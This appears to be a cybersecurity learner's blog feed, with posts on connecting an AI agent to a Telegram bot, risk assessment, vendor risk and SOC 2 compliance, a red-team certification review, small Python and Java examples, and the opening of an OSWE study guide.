Cyber Security Enthusiast/Learner

How to Set Up a Telegram Bot to Remotely Communicate with Your Hermes Agent

noreply@blogger.com (574r570rm) — Fri, 21 Aug 2026 21:53:17 +0000

How to Set Up a Telegram Bot to Remotely Communicate with Your Hermes Agent

A practical, step-by-step guide to wiring your Hermes Agent up to Telegram so you can message it from your phone — and get answers back.

You've got a Hermes Agent running on your machine. You can chat with it in its own terminal or desktop app. But what if you want to ping it from your phone while you're away from your desk? Or have a scheduled task deliver its results straight into a Telegram chat?

This guide walks you through setting up a Telegram bot that talks to your Hermes Agent — from creating the bot with @BotFather to configuring Hermes and sending your first message from Telegram. No prior Telegram Bot API experience needed.

What You'll Need

A running Hermes Agent installation (with the gateway active)
A Telegram account (free — just the app on your phone)
About 10 minutes

Step 1: Create the Bot with @BotFather

Open Telegram and search for @BotFather — it's Telegram's official bot for creating and managing bots. Start a chat and send /newbot.

BotFather will ask for two things:

Display name — the human-readable name of your bot (e.g. "My Hermes Bot"). This is what users see in chats.
Username — a unique handle that must end in bot (e.g. my_hermes_bot or 574r570rm_hermes_bot). If the name is taken, pick another.

Once you submit both, BotFather replies with a message like:

Done! Congratulations on your new bot. You will find it at t.me/my_hermes_bot. You can now add a description, about section and profile pic for your bot, see our API docs for full details. Use this token to access the HTTP API:

123456789:ABCdefGHIjklMNOpqrsTUVwxyz

That token is your bot's API key. Treat it like a password.

Copy it somewhere safe for the next step. Telegram will never show it to you again in the same form — though you can revoke and regenerate it later (more on that in the security section).

Step 2: Configure Hermes

Hermes reads its Telegram configuration from ~/.hermes/.env. Open that file in your editor:

# Linux / macOS

nano ~/.hermes/.env



# Windows (PowerShell)

notepad $HOME\.hermes\.env



# Windows (Git Bash)

nano ~/.hermes/.env

Add (or edit) two keys:

TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrsTUVwxyz

TELEGRAM_ALLOWED_USERS=123456789

TELEGRAM_BOT_TOKEN — the token BotFather gave you. This is what Hermes uses to authenticate with Telegram's API.
TELEGRAM_ALLOWED_USERS — a comma-separated list of Telegram user IDs that are allowed to message your agent. Find your own user ID by messaging @userinfobot on Telegram — it replies with your numeric ID. Only add your own ID for now; do not open it up to everyone unless you intend to.

⚠️ Important: .env is a plaintext file. Those secrets live on disk unencrypted. If you back up your Hermes profile directory, exclude .env or encrypt the backup. If you version-control your config, make sure .env is in .gitignore.

Step 3: Restart the Gateway

Hermes picks up Telegram config when the gateway starts (or restarts). If your gateway is already running, restart it:

# From the terminal

hermes gateway

If the gateway is already running in the background, you may need to stop and restart it:

hermes gateway --stop

hermes gateway

Or check its status first:

hermes gateway status

Once the gateway is up and has read the new .env, it will connect to Telegram's API using your bot token. There's no separate "enable Telegram" step — if the token and allowed-users are set, the gateway listens.

Step 4: Message Your Agent from Telegram

Open Telegram, find your bot (search by the username you chose, e.g. @my_hermes_bot), and start a chat. Send a simple message:

Hello, what can you do?

Your Hermes Agent should process the message and reply in the same chat. The bot acts as a bridge: your message goes to the gateway, the gateway passes it to the agent, the agent responds, and the response is delivered back to your Telegram chat.

You can now talk to your agent from your phone, a tablet, or any device with Telegram — without needing direct access to the machine it's running on.

Useful Extras

Slash Commands

Once the bot is connected, you can use slash commands directly in the Telegram chat. The exact set depends on your Hermes version, but common ones include:

Command	What it does
/new	Start a new conversation / session with the agent
/model	Check or change which model the agent is using
/status	Get a quick status summary of the agent/gateway

Slash commands are convenient for quick checks without needing to open the Hermes desktop app.

Voice Messages

If you send a voice message to the bot instead of text, Hermes will transcribe it and pass the transcription to the agent. This means you can dictate a question or instruction on the go and get a text-based reply — useful when typing on a phone is inconvenient.

Cron Jobs and Scheduled Tasks to Telegram

If you have cron jobs or scheduled tasks configured in Hermes, you can set their delivery target to your Telegram bot. That means the results of a scheduled run — a daily briefing, a price check, a system status report — get pushed into your Telegram chat automatically.

When configuring a cron job's delivery, set the destination to your bot (or a chat where the bot is present). Cron jobs run autonomously, so they don't need a user present to receive the output — it just shows up in your chat.

Security Best Practices

1. Keep the Token Secret

The bot token gives anyone who has it full control over your bot — they can read its messages, send messages as it, and generally impersonate it. Do not:

Paste it into public chats or forums
Commit it to a public git repository
Share it in a screenshot or screen recording
Email it around in plaintext

If you need to share config with someone, share the .env file over an encrypted channel, or better yet, keep the token to yourself and let others use the bot as a user (via TELEGRAM_ALLOWED_USERS).

2. Revoke If Leaked

If you suspect the token has leaked — or you just want to rotate it for hygiene — go back to @BotFather, find your bot, and use the /token command to revoke the current token and generate a new one. BotFather will give you a fresh token. Update TELEGRAM_BOT_TOKEN in ~/.hermes/.env and restart the gateway.

The old token stops working immediately once revoked.

3. Restrict with TELEGRAM_ALLOWED_USERS

By default, if you set a token but no allow-list, any Telegram user who finds your bot could potentially message it — depending on your Hermes configuration. Be explicit:

TELEGRAM_ALLOWED_USERS=123456789

Only add user IDs you trust. You can add multiple: 123456789,987654321. If you're the only user, just put your own ID.

4. .env Holds Secrets in Plaintext

.env is a shell-style environment file. The values are stored as plaintext on disk. This is standard practice for dev tooling, but it means:

The file should have restrictive file permissions (readable only by your user)
Don't copy it into cloud-synchronized folders without considering encryption
If you back up your Hermes profile, treat .env as sensitive

If your threat model requires it, you can encrypt the file at rest, but for most personal use cases the main risk is accidental exposure via backups, repos, or screenshots.

5. Bot is Public by Default — Your Data Isn't

Anyone can find your bot by its username and start a chat. That's how Telegram bots work. The allow-list is your control point: even if someone starts a chat, Hermes won't process their messages unless their user ID is in TELEGRAM_ALLOWED_USERS. The bot will effectively ignore unauthorized users.

Troubleshooting

Bot doesn't reply at all.

Check that TELEGRAM_BOT_TOKEN is correct and has no extra spaces or newlines.
Confirm the gateway restarted after editing .env (hermes gateway status).
Make sure your user ID is in TELEGRAM_ALLOWED_USERS — use @userinfobot to double-check the exact number.

Bot replies with an error or "not allowed."

Your user ID is probably not in the allow-list, or it's formatted incorrectly (no spaces, just comma-separated numbers).

Bot was working, now it stopped.

The token may have been revoked or regenerated. Check BotFather for a new token and update .env.
The gateway may have stopped or crashed. Restart it.

574r570rm

From Assets to Action: A Practical Risk Assessment Walkthrough (With Real Documents)

noreply@blogger.com (574r570rm) — Sun, 05 Apr 2026 01:14:00 +0000

From Assets to Action: A Practical Risk Assessment Walkthrough (With Real Documents)

Risk assessment is one of those things that sounds simple in theory—but once you actually sit down to do it for a real environment, it quickly becomes clear how much structure and discipline it requires.

Instead of just explaining concepts, I recently completed a full sample risk assessment for a small business environment and documented every step. You can explore the full project here:

GitHub: https://github.com/saadibabar/riskassessmentsample
Portfolio: https://starstorm.netlify.app

In this post, I’ll walk through the entire process, the documents I created, and the key lessons from doing this hands-on.

🏢 The Scenario: XYZ Limited

To make this practical, I created a realistic environment:

XYZ Limited — a small café that offers:

Public Wi-Fi for customers
A gaming zone (PS5s + PCs)
Reception systems for billing
An online ordering web application

This setup is simple—but surprisingly rich from a security perspective.

📌 Step 1: Asset Inventory (Foundation of Everything)

The first document I created was an Asset Inventory.

This included:

Hardware (PCs, PS5s, routers, switches)
Software (POS system, operating systems)
Data (customer database, employee records)
Services (web application)

🔑 Key Insight:

If you miss an asset here, you miss risks later. Everything depends on this step.

⚠️ Step 2: Threat & Vulnerability Register

Next, I mapped:

Threats → What can go wrong
Vulnerabilities → Why it can happen

Examples from the assessment:

Open Wi-Fi → Man-in-the-Middle attacks
Web application → SQL Injection
Reception PCs → Malware infection
Employees → Phishing attacks

📊 Step 3: Risk Analysis Matrix

This is where things get interesting.

I evaluated each risk using:

Likelihood (1–5)
Impact (1–5)

Then calculated:

Risk Score = Likelihood × Impact

Example:

SQL Injection → 5 × 5 = 25 (Critical)
Phishing → 4 × 3 = 12 (High)

🔑 Key Insight:

Not all vulnerabilities matter equally—risk analysis helps prioritize what actually matters to the business.

🛡️ Step 4: Risk Treatment Plan (Where Value Is Created)

This is the most important part of the entire process.

For each risk, I defined:

Treatment strategy (Mitigate, Avoid, Accept)
Specific controls
Responsible owner
Timeline

Example:

SQL Injection → Input validation + WAF
Weak passwords → Enforce policy + MFA
Open Wi-Fi → Network segmentation

🔑 Key Insight:

Identifying risk is easy. Reducing it in a practical, business-friendly way is the real skill.

🔁 Step 5: Continuous Monitoring

Risk assessment is not a one-time task.

For XYZ Limited, I recommended:

Regular vulnerability scans
Periodic reassessment
Monitoring logs and network activity

🧠 What This Project Taught Me

1. Risk Assessment ≠ Pentesting

As someone with a penetration testing background, this was a mindset shift.

Pentesting → Find vulnerabilities
Risk assessment → Prioritize based on business impact

2. Business Context Changes Everything

A vulnerability is only important if it affects:

Revenue
Customer trust
Operations

3. Documentation Is Half the Work

Clear, structured documentation:

Makes findings actionable
Helps stakeholders understand risk
Enables decision-making

📂 Final Deliverables

This project includes:

Asset Inventory
Threat & Vulnerability Register
Risk Analysis Matrix
(Next step: Risk Treatment Plan)

All documents are structured in a professional, report-ready format.

👉 GitHub: https://github.com/saadibabar/riskassessmentsample
👉 Portfolio: https://starstorm.netlify.app

🚀 Final Thoughts

Risk assessment is where technical security meets business reality.

It forces you to answer:

“What actually matters, and what should we fix first?”

If you’re coming from a technical background (like pentesting), I highly recommend practicing this—it’s a highly valuable skill in real-world security roles.

If you’d like feedback on your own risk assessment work or want to collaborate, feel free to reach out.

🚀 GRC in Action: Connecting Theory to Reality 🚀

noreply@blogger.com (574r570rm) — Sun, 01 Feb 2026 13:40:00 +0000

As part of my GRC studies with Inegben Academy, I'm applying the OCEG Red Book framework to real-world challenges.

1. Third Party Risk Management TPRM

Why this topic? It's one of the hottest, most tangible, and highest-impact areas in modern GRC. It sits at the intersection of cybersecurity, compliance, operational resilience, and reputation. The OCEG "Red Book" (GRC Capability Model) addresses this under components like "Manage Risk" (PRC Module) and "Objectively Verify & Review" (VV Module) concerning vendor assurance.

2. GRC Work Environment Project: "Implementing a Risk-Based Tiered Approach to Vendor Due Diligence"

This isn't just a policy document; it's an operational project.

Project Objectives:

Categorize Vendors: Develop a methodology to tier all third parties (Tier 1 - Critical/High Risk, Tier 2 - Medium, Tier 3 - Low). Criteria include: data access, financial impact, integration with core systems, and regulatory alignment.
Define Due Diligence Controls: Map specific controls to each tier.
- Tier 1 (Critical): Comprehensive security questionnaire (e.g., SIG Lite), SOC 2 Type II review, contractually mandated right-to-audit clauses, continuous monitoring (financial health, cyber threats).
- Tier 2 (Medium): Standard security questionnaire, review of relevant certifications, annual reassessment.
- Tier 3 (Low): Basic business verification and contract terms.
Develop a Workflow: Create a process in the GRC tool (or even SharePoint/Teams initially) for Procurement, IT, and Compliance to trigger and complete due diligence.
Establish Ongoing Monitoring: Define how vendors are monitored post-onboarding (e.g., news alerts for breaches, annual financial checks, certificate renewals).
Create Exit/Offboarding Procedures: Ensure data destruction and access revocation when contracts end.

Deliverables:

TPRM Policy Document.
Vendor Tiering Methodology & Questionnaire Library.
Process Workflow Diagram & RACI Matrix.
Management Dashboard (showing % of vendors by tier, % with completed diligence, high-risk vendors pending action).

3. Case Study: The SolarWinds Sunburst Cyberattack (2020)

This is a perfect, high-profile case study for TPRM failure.

What Happened: Russian state-sponsored hackers compromised the software build system of SolarWinds, a major IT management vendor. They inserted a backdoor ("Sunburst") into a legitimate software update. This update was then downloaded by ~18,000 SolarWinds customers, including the U.S. Departments of Treasury, Commerce, Homeland Security, and major tech firms like Microsoft and FireEye.
The TPRM Failure Link:
- Over-Reliance on a Single Vendor: Many organizations treated SolarWinds as a trusted vendor without applying sufficient "critical vendor" scrutiny.
- Lack of Deep Supply Chain Due Diligence: Due diligence often stops at the direct vendor. This attack exploited the "vendor's vendor" risk—the security of SolarWinds' own development environment.
- Insufficient Continuous Monitoring: Few customers were monitoring SolarWinds for signs of a compromise in their development or update distribution systems.
- Consequence: It wasn't a breach of their own systems directly, but a breach via a trusted third party, leading to catastrophic espionage.

574r570rm

Regulatory Compliance and SOC 2: Which Industries and Regulatory Standards Require SOC 2?

noreply@blogger.com (574r570rm) — Tue, 03 Dec 2024 22:59:00 +0000

Regulatory Compliance and SOC 2: Which Industries and Regulatory Standards Require SOC 2?

SOC 2 compliance has become a critical benchmark for organizations handling sensitive data, especially those offering services in sectors that must adhere to strict regulatory and legal requirements regarding data protection. While SOC 2 itself is not a law, many industries have incorporated SOC 2 compliance as a necessary standard for meeting their data security and privacy obligations. Below, we explore which industries and regulatory standards require or strongly encourage SOC 2 compliance.

1. Healthcare Industry (HIPAA Compliance)

In the healthcare sector, the Health Insurance Portability and Accountability Act (HIPAA) governs how healthcare organizations should manage, store, and share patient data. HIPAA mandates strict guidelines for maintaining the privacy and security of personal health information (PHI), and organizations that handle PHI are required to implement specific controls to safeguard it.

SOC 2’s Relevance: While SOC 2 itself does not directly fulfill HIPAA requirements, achieving SOC 2 compliance helps healthcare organizations meet critical elements of HIPAA’s Security Rule and Privacy Rule. SOC 2’s security, confidentiality, and privacy TSCs align well with the data protection and security requirements under HIPAA.
Why It’s Important: Many healthcare organizations, especially those using cloud-based platforms or third-party vendors for storing or processing PHI, use SOC 2 to demonstrate their commitment to safeguarding this sensitive data.

2. Financial Services Industry (FINRA, PCI-DSS)

Organizations in the financial services sector are subject to various regulatory requirements aimed at protecting the confidentiality, integrity, and availability of financial data. These regulations vary by jurisdiction but generally include:

The Financial Industry Regulatory Authority (FINRA): FINRA’s rules require financial organizations to protect customer data and maintain strong security practices.
The Payment Card Industry Data Security Standard (PCI-DSS): PCI-DSS is a global standard that mandates the protection of cardholder data for organizations that process, store, or transmit credit card information.
SOC 2’s Relevance: While SOC 2 is not a direct requirement of these regulations, it can help financial institutions ensure that they are following best practices for security, confidentiality, and privacy. SOC 2 reports often serve as evidence that an organization is compliant with FINRA's and PCI-DSS’s security and data protection requirements, especially for cloud-based service providers and third-party vendors.
Why It’s Important: Financial institutions increasingly use SOC 2 as a key part of their vendor risk management process, as it provides assurance that service providers are implementing the right controls to protect financial data.

3. E-commerce and Retail Industry (GDPR, CCPA)

In the e-commerce and retail industries, companies are often dealing with large volumes of customer data, including payment information, personal details, and browsing behaviors. Data protection regulations such as:

General Data Protection Regulation (GDPR): A European Union regulation focused on protecting the personal data and privacy of EU citizens.
California Consumer Privacy Act (CCPA): A state law in California aimed at enhancing privacy rights and consumer protection for residents of California.
SOC 2’s Relevance: For organizations that collect, process, or store customer data, SOC 2’s privacy and confidentiality TSCs align directly with GDPR’s and CCPA’s requirements for data security, transparency, and accountability. A SOC 2 audit helps demonstrate an organization's commitment to data protection and privacy compliance.
Why It’s Important: E-commerce companies, especially those operating globally or in California, rely on SOC 2 to prove that they are maintaining industry-standard security controls to protect personal customer data.

4. Cloud Service Providers and SaaS Companies

Cloud service providers (CSPs) and software-as-a-service (SaaS) companies are often the custodians of sensitive data for their clients. As these services store and process large volumes of sensitive business data, they face increasing scrutiny from clients and regulators to ensure proper data handling.

SOC 2’s Relevance: SOC 2 is especially important for cloud and SaaS companies as it provides an assurance that they are following rigorous security, availability, confidentiality, and privacy standards in their data management practices.
Why It’s Important: SOC 2 compliance is often a pre-requisite for doing business with enterprise clients, as it demonstrates that the company is managing data securely and in compliance with industry standards.

5. Legal and LegalTech Industry (Attorney-Client Privilege)

For law firms, legal service providers, and legal technology platforms, safeguarding client data is crucial. Many legal organizations work with sensitive client information that is subject to legal protections, such as attorney-client privilege.

SOC 2’s Relevance: Law firms and LegalTech companies must meet high standards for confidentiality and data protection, and SOC 2 helps demonstrate adherence to the confidentiality and security TSCs.
Why It’s Important: Legal organizations can use SOC 2 compliance to provide clients with the assurance that their confidential legal information is being handled securely and in compliance with regulatory requirements.

6. Education and EdTech Industry (FERPA)

In the education sector, organizations that handle student records and other sensitive data must comply with the Family Educational Rights and Privacy Act (FERPA), which mandates strict guidelines around the privacy of student education records.

SOC 2’s Relevance: SOC 2’s privacy, confidentiality, and security TSCs align well with FERPA’s requirements for safeguarding student information.
Why It’s Important: Educational institutions and EdTech companies that collect and process student data use SOC 2 compliance to demonstrate their adherence to FERPA and protect sensitive educational information.

7. Government Contractors and Public Sector

Government contractors and public sector organizations often handle sensitive government data or personally identifiable information (PII). These entities must comply with various federal and state regulations, such as:

Federal Information Security Modernization Act (FISMA): FISMA mandates that federal agencies and contractors implement cybersecurity measures to protect government information systems.
NIST Cybersecurity Framework: The National Institute of Standards and Technology (NIST) provides a cybersecurity framework that government contractors may follow to ensure security and privacy.
SOC 2’s Relevance: SOC 2’s security and confidentiality TSCs help demonstrate that government contractors are following industry best practices for data protection, which aligns with FISMA and NIST standards.
Why It’s Important: Government contractors often use SOC 2 reports to meet the security requirements of public sector contracts and assure agencies that their data is being properly protected.

Conclusion

SOC 2 compliance is essential for organizations across various industries that are handling sensitive data and must meet regulatory requirements regarding data protection. While SOC 2 is not a regulatory standard in itself, it helps organizations align with a wide range of regulatory frameworks and ensures that they are meeting best practices for data security, availability, confidentiality, processing integrity, and privacy.

By achieving SOC 2 compliance, businesses in industries like healthcare, financial services, e-commerce, legal, and government contracting not only gain a competitive edge but also strengthen their reputation and trustworthiness with customers, partners, and regulators.

574r570rm

Understanding SOC 2: Types, Importance, Timeframe, TSCs, and Controls

noreply@blogger.com (574r570rm) — Tue, 03 Dec 2024 22:58:00 +0000

Understanding SOC 2: Types, Importance, Timeframe, TSCs, and Controls

In today's highly digitized world, data security and privacy are of paramount importance. Organizations handling sensitive customer data must demonstrate their commitment to safeguarding this information. This is where SOC 2 comes into play.

SOC 2 (System and Organization Controls 2) is a framework that helps service organizations demonstrate their adherence to security, availability, processing integrity, confidentiality, and privacy principles. In this blog post, we'll dive deep into what SOC 2 is, its types, the importance of achieving SOC 2 compliance, the time it takes, and the Trust Services Criteria (TSCs) along with the necessary controls for each criterion.

What is SOC 2?

SOC 2 is an auditing standard that was developed by the American Institute of Certified Public Accountants (AICPA). It focuses on the security, availability, confidentiality, integrity, and privacy of customer data stored in the cloud. SOC 2 is crucial for companies that offer technology or cloud-based services, as it provides a detailed report on how a company manages data to protect the privacy and interests of its clients.

SOC 2 compliance is often essential for service organizations to build trust with customers, particularly those in regulated industries such as healthcare, finance, or legal services.

Types of SOC 2 Reports

SOC 2 reports are categorized into two types:

SOC 2 Type I: This report focuses on the design and implementation of an organization’s controls at a specific point in time. It evaluates whether the system and controls in place at that time meet the Trust Services Criteria (TSC).
SOC 2 Type II: This report assesses the effectiveness of the controls over a defined period of time (usually 6–12 months). It not only confirms whether the controls are properly designed but also whether they are operating effectively over time.

Why is SOC 2 Compliance Important?

SOC 2 compliance is critical for several reasons:

Trust and Confidence: It reassures customers that their data is being handled securely and that their privacy is respected.
Competitive Advantage: SOC 2-compliant organizations are more attractive to potential clients, especially those in industries with strict regulatory requirements.
Regulatory Compliance: Many industries recommend SOC 2 compliance to meet legal and regulatory data protection standards.
Risk Management: It helps identify and mitigate potential risks to systems and processes, ensuring better protection of sensitive information.
Reputation: Achieving SOC 2 compliance enhances your organization's credibility and reputation in the marketplace.

How Much Time Does it Take to Achieve SOC 2 Compliance?

The time it takes to achieve SOC 2 compliance can vary depending on several factors, such as the size of the organization, the complexity of its systems, and its current state of security practices. Generally, the process can take anywhere from 3 to 12 months.

Here’s a general breakdown of the timeline:

Preparation (1–3 months): During this phase, organizations conduct a gap analysis to identify areas where they need to improve or implement controls.
Implementation (2–6 months): This is the phase where security controls are put in place, policies and procedures are developed, and the organization prepares for the audit.
Audit (1–3 months): After the controls are implemented, the third-party audit begins. The audit process for a Type II report can take longer since it involves testing the effectiveness of the controls over time.

Trust Services Criteria (TSC)

The Trust Services Criteria (TSC) are the foundation of SOC 2 compliance. They outline the key areas an organization must address in order to safeguard customer data. There are five TSCs, each with specific criteria that must be met:

Security (The Common Criteria)
Availability
Processing Integrity
Confidentiality
Privacy

Breaking Down Each TSC and the Associated Controls

Let's explore each TSC and the controls that need to be implemented to meet SOC 2 compliance.

1. Security

The Security TSC focuses on protecting systems and data from unauthorized access, breaches, and other security threats. It is often referred to as the "common criterion" because it applies to all SOC 2 reports.

Controls:

Access Control: Implement role-based access, least privilege access, and multi-factor authentication (MFA).
Firewalls and Intrusion Detection Systems (IDS): Ensure systems are protected by firewalls and IDS to detect and prevent unauthorized access.
Incident Response: Have a documented incident response plan to handle security breaches or threats.
Encryption: Use encryption both in transit and at rest to protect sensitive data.

2. Availability

The Availability TSC focuses on ensuring that the system is available for operation and use as agreed upon by clients.

Controls:

System Monitoring: Continuously monitor system performance and uptime.
Disaster Recovery and Business Continuity: Have a disaster recovery plan in place to ensure the system remains operational even in the event of failures.
Capacity Planning: Implement regular capacity assessments to prevent system downtime caused by resource constraints.

3. Processing Integrity

This TSC ensures that systems process data accurately, completely, and in a timely manner. It aims to guarantee that systems operate in accordance with the defined specifications and client expectations.

Controls:

Data Validation: Implement input validation checks to ensure the accuracy and completeness of data.
Error Handling: Implement robust error-handling processes to detect and correct data processing issues.
System Testing: Regularly test systems for performance and integrity.

4. Confidentiality

The Confidentiality TSC ensures that sensitive information is protected and only accessible to authorized individuals.

Controls:

Data Encryption: Use strong encryption techniques to protect confidential data.
Access Controls: Restrict access to sensitive data based on role and necessity.
Data Masking: Use data masking to protect confidential data during processing or storage.

5. Privacy

The Privacy TSC focuses on ensuring that personal information is collected, used, retained, and disclosed in compliance with applicable privacy laws and regulations.

Controls:

Data Collection: Clearly define and document the purpose of collecting personal information.
Consent Management: Obtain explicit consent from individuals before collecting personal data.
Data Retention and Disposal: Implement policies for retaining personal data and securely disposing of it when no longer needed.

Conclusion

SOC 2 compliance is a crucial step for organizations, especially those in the tech and cloud services industries, to demonstrate their commitment to protecting customer data. By meeting the rigorous requirements outlined in the Trust Services Criteria (TSC), companies not only build trust with their clients but also enhance their overall security posture.

Achieving SOC 2 compliance can take time, but the process is worth it in terms of improved security, increased client confidence, and meeting regulatory requirements. Whether you’re aiming for SOC 2 Type I or Type II, it's essential to understand the TSCs and implement the necessary controls to safeguard your systems and data.

574r570rm

My Experience Earning the CRTA (Certified Red Team Analyst) Certification

noreply@blogger.com (574r570rm) — Fri, 29 Nov 2024 14:25:00 +0000

**My Experience Earning the CRTA (Certified Red Team Analyst) Certification**

I’m thrilled to share that I’ve recently earned the *Certified Red Team Analyst (CRTA)* certification from Cyber Warfare Labs (CWLabs), and I wanted to take a moment to reflect on my experience and share some insights into what the certification entails.

The CRTA is a beginner-level red team certification, but don’t let the term “beginner” fool you—it’s incredibly valuable for those just starting in the world of offensive security. The certification process involves completing the *CyberWarFare Labs Red Team Analyst Course* and successfully passing a 24-hour practical exam that mimics real-world red team operations. This exam is designed to test your ability to think and act like an adversary in a highly realistic, simulated environment.

**What You Learn in the CRTA Course**

The CRTA course covers a comprehensive set of skills that are essential for red team analysts. Here are some of the key areas that are included:

1. **Red Team Methodologies**
   You’ll develop a strong understanding of red team methodologies and the planning necessary to conduct simulated adversary attacks. This includes techniques for gathering intelligence, identifying weaknesses, and executing a strategic attack plan.

2. **MITRE ATT&CK Framework**
   A major component of the course is learning to use the *MITRE ATT&CK* framework. This well-known framework helps red teamers emulate the tactics, techniques, and procedures (TTPs) of real-world threat actors. You’ll get hands-on experience applying these techniques to achieve your objectives within the lab environment.

3. **Identifying and Manipulating Weak Links**
   One of the most valuable skills you’ll gain is the ability to identify the weakest links in an organization’s defenses. You’ll learn how to exploit these vulnerabilities, which often involve unpatched systems, poor configurations, or user errors.

4. **Reconnaissance – Internal and External**
   Performing detailed reconnaissance is crucial for red teaming. The CRTA exam focuses on both internal and external reconnaissance, allowing you to practice scanning networks, identifying open ports, and gathering information from publicly available sources. This helps build the foundation for planning effective attacks.

5. **Active Directory Attacks**
   A significant portion of the course and exam revolves around **Active Directory (AD) hacking**—an essential skill for red teamers targeting enterprise networks. You’ll learn attacks like **SID History Injection**, **Golden Ticket**, **Silver Ticket**, and **Unconstrained Delegation**. These advanced techniques allow you to escalate privileges and pivot across networks in a Windows-based environment.

6. **Bypassing Segregated Networks**
   In enterprise environments, networks are often segmented to limit the impact of potential attacks. The CRTA teaches you how to bypass these segregated networks, using both Linux and Windows machines to hack and root your way through the system.

7. **Stealth Network Pivoting and Lateral Movement**
   Once inside a network, you’ll need to move laterally and stealthily. The course covers how to pivot across multiple systems without detection, using techniques to avoid triggering alarms while escalating your privileges and gaining deeper access.

8. **Scaling Emerging Threats**
   The world of cybersecurity is constantly evolving, and the CRTA helps you adapt to new threats. You’ll practice scaling attacks, ensuring that you’re prepared for emerging tactics and can handle sophisticated enterprise environments.

**The Practical Exam – A Real-World Adversary Simulation**

The CRTA exam is where all the theory comes into play. The 24-hour practical exam is a full red team engagement, where you must infiltrate a complex, multi-layered environment consisting of both Linux and Windows machines. The primary objective is to gain root-level access and demonstrate your ability to apply red team methodologies across the network.

The exam includes a mix of tasks such as reconnaissance, lateral movement, and exploiting vulnerabilities in the target system. Active Directory hacking plays a central role, and I had to leverage tools and techniques like **Golden Ticket** and **Silver Ticket** attacks to gain full control of the network. It's a real challenge, but one that gives you an authentic taste of what it’s like to be a red teamer in the field.

**Support and Assistance from Cyber Warfare Labs**

One of the most important aspects of the CRTA certification process is the support I received from the Cyber Warfare Labs team. Whenever I had questions or ran into challenges during the exam or course, the support team was incredibly responsive and helpful. They provided timely guidance and clarification, making the entire learning process smoother and more enjoyable. Their support was essential in ensuring that I could focus on learning and applying my skills without getting stuck on technical issues.

**Final Thoughts**

The CRTA certification is an excellent starting point for anyone interested in red teaming. Whether you’re a newcomer to cybersecurity or have some experience in offensive security, this course will give you the foundational skills you need to become a proficient red team analyst. The course material is hands-on and comprehensive, covering everything from the basics of reconnaissance to advanced Active Directory attacks.

By the end of the certification, I felt much more confident in my ability to conduct red team assessments and emulate real-world adversaries. The practical exam was an excellent way to test my skills in a realistic setting, and the support team at CWLabs was always there to guide me when needed.

If you’re looking to start your journey in red teaming or offensive security, I highly recommend the CRTA. The skills you’ll acquire are valuable not only for red teaming but for any cybersecurity role that involves penetration testing, vulnerability assessment, or ethical hacking.

You can also check out my *Credential.net* badge here: [CRTA Badge](https://www.credential.net/08b928af-d805-48eb-880d-9060f512a238#acc.REWLqcTN)

My LinkedIn & Twitter - Do Connect & Follow

#RedTeam #CyberSecurity #MITREATTACK #CPT #EthicalHacking #CyberWarfareLabs #RedTeamCertification #ADHacking #GoldenTicket #SilverTicket #SIDHistoryInjection

574r570rm

Scheduled Skype Message in Python

noreply@blogger.com (574r570rm) — Sun, 22 Jan 2023 17:20:00 +0000

To send a message on Skype at a scheduled time, you can use the schedule library in Python along with the skype4py library to interact with the Skype API. Here is an example of how you can schedule a message to be sent on Skype:

import schedule
import time
import skype4py

def send_message():
    # Create a new Skype object
    skype = skype4py.Skype()

    # Connect to the Skype API
    skype.Attach()

    # Send the message to the desired recipient
    skype.SendMessage("skype_username", "Hello, this is a scheduled message.")

# Schedule the send_message function to run at a specific time
schedule.every().day.at("22:30").do(send_message)

while True:
    schedule.run_pending()
    time.sleep(1)

This code will send a message "Hello, this is a scheduled message." to the skype user 'skype_username' every day at 22:30. You can change the schedule time and message as per your requirements.

Note: In order to use this code, you need to have skype4py library installed in your system. you can install it via pip by running pip install skype4py in your command prompt.

Python Scapy and its uses.

noreply@blogger.com (574r570rm) — Sat, 14 Jan 2023 13:00:00 +0000

Python Scapy is a powerful packet manipulation tool that allows users to send, sniff, dissect, and forge network packets. It is written in Python and can be used for a wide range of purposes, including network security and testing, packet capture and analysis, and network protocol development.

One of the primary uses of Scapy is network security testing. It allows users to create and send custom packets over the network, sniff and analyze packets, and perform various types of scans and tests to identify vulnerabilities and potential security threats. Scapy can be used to perform tasks such as port scanning, network discovery, and vulnerability assessment, as well as more advanced tasks such as packet injection and spoofing.

In addition to security testing, Scapy is also commonly used for packet capture and analysis. It provides a rich set of functions and classes that allow users to dissect packets and extract specific fields and payloads. This can be useful for tasks such as analyzing traffic patterns, troubleshooting network issues, and developing new network protocols.

Scapy is also often used for network protocol development. It allows users to craft custom packets and send them over the network, which can be useful for testing and debugging new protocols. Scapy includes a powerful command-line interface that allows users to interact with the tool using simple commands and scripts, making it easy to automate tasks and create custom tools and applications.

Despite its many useful features, it is important to note that Scapy can also be used to launch various types of attacks on networks and systems. These attacks can include Denial of Service (DoS) attacks, Man-in-the-middle (MitM) attacks, and password cracking attacks, among others. It is important to use Scapy (and any other tool) responsibly and only for legitimate purposes in a controlled and authorized environment. Unauthorized attacks are illegal and can result in serious consequences.

Overall, Python Scapy is a powerful and versatile tool that can be used for a wide range of purposes related to network security and protocol development. Its rich set of features and easy-to-use interface make it a popular choice among network professionals, security researchers, and developers. However, it is important to use Scapy responsibly and only for legitimate purposes in order to avoid any legal or ethical issues.

Beginner Java Programmer.

noreply@blogger.com (574r570rm) — Fri, 13 Jan 2023 05:00:00 +0000

A Basic Java Program to print "Hello World".

public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}

public class HelloWorld {

This line declares a new class called HelloWorld. In Java, a class is a template for creating objects, and everything in Java is an object. The public keyword indicates that the class is accessible by any other class.

public static void main(String[] args) {

This line declares the main method, which is the entry point for the program. The public static void part indicates that the method is public (accessible by any other class), static (belongs to the class itself, rather than an instance of the class), and returns no value (void). The main method takes an array of String objects called args, which can be used to pass command-line arguments to the program.

System.out.println("Hello, World!");

This line uses the println method of the System.out object to print the string "Hello, World!" to the console. The println method prints the string and adds a newline character at the end.

}

This curly brace closes the main method.

}

This curly brace closes the HelloWorld class.

What to learn for OSWE Certification.

noreply@blogger.com (574r570rm) — Thu, 12 Jan 2023 16:00:00 +0000

OSWE, or the Offensive Security Web Expert, is a certification that demonstrates a high level of expertise in the field of web application security. To prepare for the OSWE exam, it is important to have a strong foundation in the following areas:

Web application architecture: Understanding the various components and technologies that make up a web application, such as the client-side (e.g., HTML, CSS, JavaScript), the server-side (e.g., databases, servers), and the communication between them (e.g., HTTP).
